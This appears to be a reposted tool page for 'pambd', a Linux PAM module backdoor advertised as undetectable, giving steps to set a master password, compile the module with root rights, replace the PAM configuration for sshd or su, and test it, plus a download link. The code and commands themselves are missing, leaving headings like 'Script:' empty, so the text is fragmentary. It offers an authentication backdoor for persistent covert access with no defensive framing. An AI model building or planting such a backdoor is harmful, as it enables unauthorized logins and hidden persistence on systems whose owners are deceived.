pambd - small and fast solution to create a undetectable backdoor through the PAM module.

pambd – small and fast solution to create a undetectable backdoor through the PAM module.

This trick shows you how to create a PAM module backdoor that allows to execute an user login with your own custom password.

If you try to make the login with the real password of the target user and the authentication fails, the pam_auth.so switches to the pambd.so and viceversa.

Generate the backdoor:
If you get the error:

First install the package libpam-dev that contains the needed headers file for compilation:

Now edit the pambd.c and set your master custom password:

After that, generate the pam backdoor with: (It needs the root permissions)

::Configure the PAM service you want to hijack::
Edit the /etc/pam.d/sshd or other that use PAM like /etc/pam.d/su and then replace the content with these lines:

::Test the backdoor::
After you have created the pambd backdoor, you can test It.

gen.sh – generate the pam backdoor.Script:

pambd.c – A small pam backdoor. Script:

 

Download : Master.zip  | Clone Url
Source : https://github.com/eurialo